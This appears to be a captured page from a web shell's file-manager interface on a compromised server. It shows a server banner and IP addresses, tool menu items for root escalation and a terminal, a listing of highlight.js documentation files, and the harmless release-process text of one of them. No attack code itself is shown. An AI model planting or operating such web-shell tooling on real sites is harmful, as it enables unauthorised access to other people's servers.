Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.117.106.206
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
highlight.js /
docs /
Delete
Unzip
Name
Size
Permission
Date
Action
api.rst
4.09
KB
-rw-rw-r--
2022-08-30 11:49
building-testing.rst
3.18
KB
-rw-rw-r--
2022-08-30 11:49
css-classes-reference.rst
52.57
KB
-rw-rw-r--
2022-08-30 11:49
index.rst
918
B
-rw-rw-r--
2022-08-30 11:49
language-contribution.rst
2.44
KB
-rw-rw-r--
2022-08-30 11:49
language-guide.rst
6.81
KB
-rw-rw-r--
2022-08-30 11:49
language-requests.rst
852
B
-rw-rw-r--
2022-08-30 11:49
line-numbers.rst
2.21
KB
-rw-rw-r--
2022-08-30 11:49
reference.rst
8.85
KB
-rw-rw-r--
2022-08-30 11:49
release-process.rst
912
B
-rw-rw-r--
2022-08-30 11:49
style-contribution.rst
855
B
-rw-rw-r--
2022-08-30 11:49
style-guide.rst
2.75
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
Release process =============== Note: this is intended for core committers. * Update CHANGES.md with everything interesting since the last update. * Update version numbers using the three-part x.y.z notation everywhere: * The header in CHANGES.md (this is where the site looks for the latest version number) * ``"version"`` attribute in package.json * Two places in docs/conf.py (``version`` and ``release``) * Commit the version changes and tag the commit with the plain version number (no "v." or anything like that) * Push the commit and the tags to master (``git push && git push --tags``) Pushing the tag triggers the update process which can be monitored at http://highlightjs.org/api/release/ When something didn't work *and* it's fixable in code (version numbers mismatch, last minute patches, etc), simply make another release incrementing the third (revision) part of the version number.